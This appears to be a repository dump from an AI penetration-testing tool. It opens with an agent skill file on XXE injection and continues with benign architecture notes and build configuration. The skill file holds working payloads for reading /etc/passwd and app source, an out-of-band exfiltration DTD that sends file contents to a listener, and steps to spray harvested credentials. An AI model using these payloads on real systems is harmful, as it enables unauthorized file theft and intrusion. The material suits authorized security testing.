--- name: web-xxe description: XML External Entity injection detection→file-read/SSRF→proof for web apps. Use when the app parses XML you influence - SOAP/REST XML bodies, SAML, RSS/Atom, DOCX/XLSX/SVG/XML file uploads, sitemap import, SVG avatars. Triggers - Content-Type application/xml or text/xml, <?xml, SOAPAction header, SAMLResponse, .docx/.svg upload, XML parse error. tags: [vuln_assess, exploitation] --- # XXE (XML External Entity) ## When this fires The server parses attacker-influenced XML: XML/SOAP APIs, SAML, RSS import, or office/SVG file uploads (DOCX/XLSX are zipped XML — inject into `word/document.xml` etc.). ## Detect ```xml <?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <root>&x;</root> ``` If `/etc/passwd` comes back in the response → classic in-band XXE. No reflection → test blind (OOB) below. ## Decide - Entity value reflected in a response field → in-band file read. - Not reflected but parser fetches your DTD → **blind XXE** → OOB exfil via external DTD. - Non-printable/multiline files break the parser → use `php://filter` base64 wrapper (PHP) to read source. - Entity fetches arbitrary URLs → **XXE→SSRF** (hit internal services / cloud metadata; see web-ssrf). ## Exploit → PROVE IMPACT ```xml <!-- source disclosure (PHP): --> <!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><root>&x;</root> <!-- blind OOB exfil (host evil.dtd on your listener): --> <!DOCTYPE r [<!ENTITY % p SYSTEM "http://<OOB>/evil.dtd"> %p;]> <!-- evil.dtd: --> <!ENTITY % f SYSTEM "file:///etc/passwd"> <!ENTITY % e "<!ENTITY % x SYSTEM 'http://<OOB>/?d=%f;'>"> %e; %x; ``` **Proof required:** contents of a server file (`/etc/passwd`, app source, a secret) or a provable OOB fetch of a file's bytes. Read creds → add_credential + cred_spray. ## Tooling `nuclei -tags xxe`; for DOCX/XLSX: unzip, inject into the XML part, re-zip, upload. Host the OOB DTD on your attacker box (internal targets: transfer the listener inward). ## False positives / pitfalls - Parser has external entities disabled → in-band fails; blind/parameter-entity variant may still work; if the DTD isn't fetched at all, it's patched. - WAF blocks `<!DOCTYPE>` → try UTF-16/UTF-7 encoding, or a nested/parameter-entity form. - Reflected-but-not-parsed input = not XXE.
- specs/v2/instructions.md (5651 bytes)
# V2 Core Instructions These notes describe how to work on `packages/core` during the v2 port. ## Direction Move behavior out of large application services and into plugins. Core services should become small, typed containers that own state, expose simple operations, and trigger hooks where policy or integration-specific logic belongs. The target shape is: - `packages/core` contains domain schemas, typed errors, state containers, events, and plugin hook contracts. - Plugins implement provider-specific, config-specific, auth-specific, model-discovery, and generation behavior. - Services are hot-reloadable by design: updates are granular, observable, and do not require tearing down the whole process. - `packages/opencode` becomes thinner over time: UI, server routes, CLI, storage glue, and legacy compatibility should call the core services instead of owning domain logic directly. ## Service Shape Core services should look like `Catalog`, `AccountV2`, and `AgentV2`: - define schemas and branded ids at the top of the module - define typed `Schema.TaggedErrorClass` errors for expected failures - define an `Interface` with small operations - expose a `Context.Service` - implement `layer` with private in-memory state - expose `defaultLayer` with explicit dependencies - self-export with `export * as Name from "./file"` Prefer a dumb container API: - `get`, `all`, `available`, `default`, `update`, `remove`, `activate`, or other small domain verbs - `update(id, draft => ...)` for registration and mutation - hook calls before committing mutations when plugins need to enrich, cancel, or validate changes - events after committing mutations when other services or frontends need to react Avoid putting application policy directly in core services unless it is a domain invariant. For example, resolving model endpoint inheritance is catalog-owned; deciding which providers to register is plugin-owned. ## Plugin Hooks Plugins are the extension boundary for v2. Add hooks to `PluginV2.HookSpec` when logic should be provided by integrations instead of the container itself. Hook conventions: - hooks receive immutable input plus mutable output - mutable object outputs are exposed as Immer drafts - include `cancel: boolean` when plugins can prevent a mutation - trigger hooks sequentially so ordering remains deterministic - keep hook names domain-oriented, like `provider.update`, `model.update`, `account.activate`, `agent.generate` - keep hook payloads small and typed with core schemas Use hooks for: - registering providers and models - applying env/account/config-derived enablement - transforming SDK/provider options - implementing generated behavior such as agent generation - choosing defaults when the choice is policy rather than state Do not use hooks as a dumping ground for transport concerns, UI behavior, or compatibility shims. ## Plugin Boot Built-in core plugins are registered by `packages/core/src/plugin/boot.ts`. When a new core service is intended to be available to plugins: - add the service to the boot layer dependency type - yield the service inside the layer - provide it to each plugin effect in `add` - add its default layer to `PluginBoot.defaultLayer` only when that does not create a cycle Keep boot as composition only. It should not contain provider, account, agent, or model policy itself. ## Boundaries Core should not import from `packages/opencode`. If a type or concept is needed by core, move or remodel the domain shape in core first. Avoid moving legacy services over wholesale. Port the domain shape and the container API, then leave specific behavior behind hooks for plugins to implement. When porting an opencode service: - identify the state it owns - identify the operations callers actually need - identify which branches are policy or integration behavior - model state and operations in `packages/core` - add hooks for the policy/integration branches - keep old package code working until callers can migrate incrementally ## Schemas And Types Use Effect schemas as the public contract: - branded schemas for ids - `Schema.Class` or `Schema.Struct` for domain data - `Schema.TaggedErrorClass` for expected errors - existing core helpers like `DeepMutable`, `statics`, and integer schemas where appropriate Prefer `Info` objects as the stored domain records. Add static `empty(...)` constructors when update APIs need to create records on first mutation. Keep schemas stable and explicit. Do not rely on opencode config shapes as core domain shapes unless the config shape is actually the domain model. ## State And Events Keep state private to the service layer. Use immutable replacement or Effect refs when persistence/concurrency requires it. Publish events for committed domain changes, not for attempted mutations. Event names should describe domain facts, for example `catalog.model.updated`. The v2 goal is granular reconfiguration. A model update should let dependents react to that model update; it should not require global reloads. ## Style Follow the local core style: - `Effect.gen(function* () { ... })` for composition - `Effect.fn("Domain.method")` for public service methods - `Effect.fnUntraced` for small internal mutation helpers - `yield* new ErrorClass(...)` for typed failures - minimal helpers unless they name a real concept - no `any` unless an existing plugin boundary requires it - no compatibility code without a concrete persisted or external-consumer need Prefer the smallest correct port. The goal is to make services easier to replace and reason about, not to recreate the old architecture in a new package. - tsconfig.json (126 bytes)
{ "$schema": "https://json.schemastore.org/tsconfig", "extends": "@tsconfig/bun/tsconfig.json", "compilerOptions": {} } - turbo.json (705 bytes)
{ "$schema": "https://v2-8-13.turborepo.dev/schema.json", "globalEnv": ["CI"], "globalPassThroughEnv": ["CI"], "tasks": { "typecheck": {}, "build": { "dependsOn": [], "outputs": ["dist/**"] }, "opencode#test": { "dependsOn": ["^build"], "outputs": [], "passThroughEnv": ["*"] }, "@pentestcode/core#test": { "dependsOn": ["^build"], "outputs": [] }, "@pentestcode/app#test": { "dependsOn": ["^build"], "outputs": [] }, "@pentestcode/ui#test": { "dependsOn": ["^build"], "outputs": [] }, "@pentestcode/session-ui#test": { "dependsOn": ["^build"], "outputs": [] } } }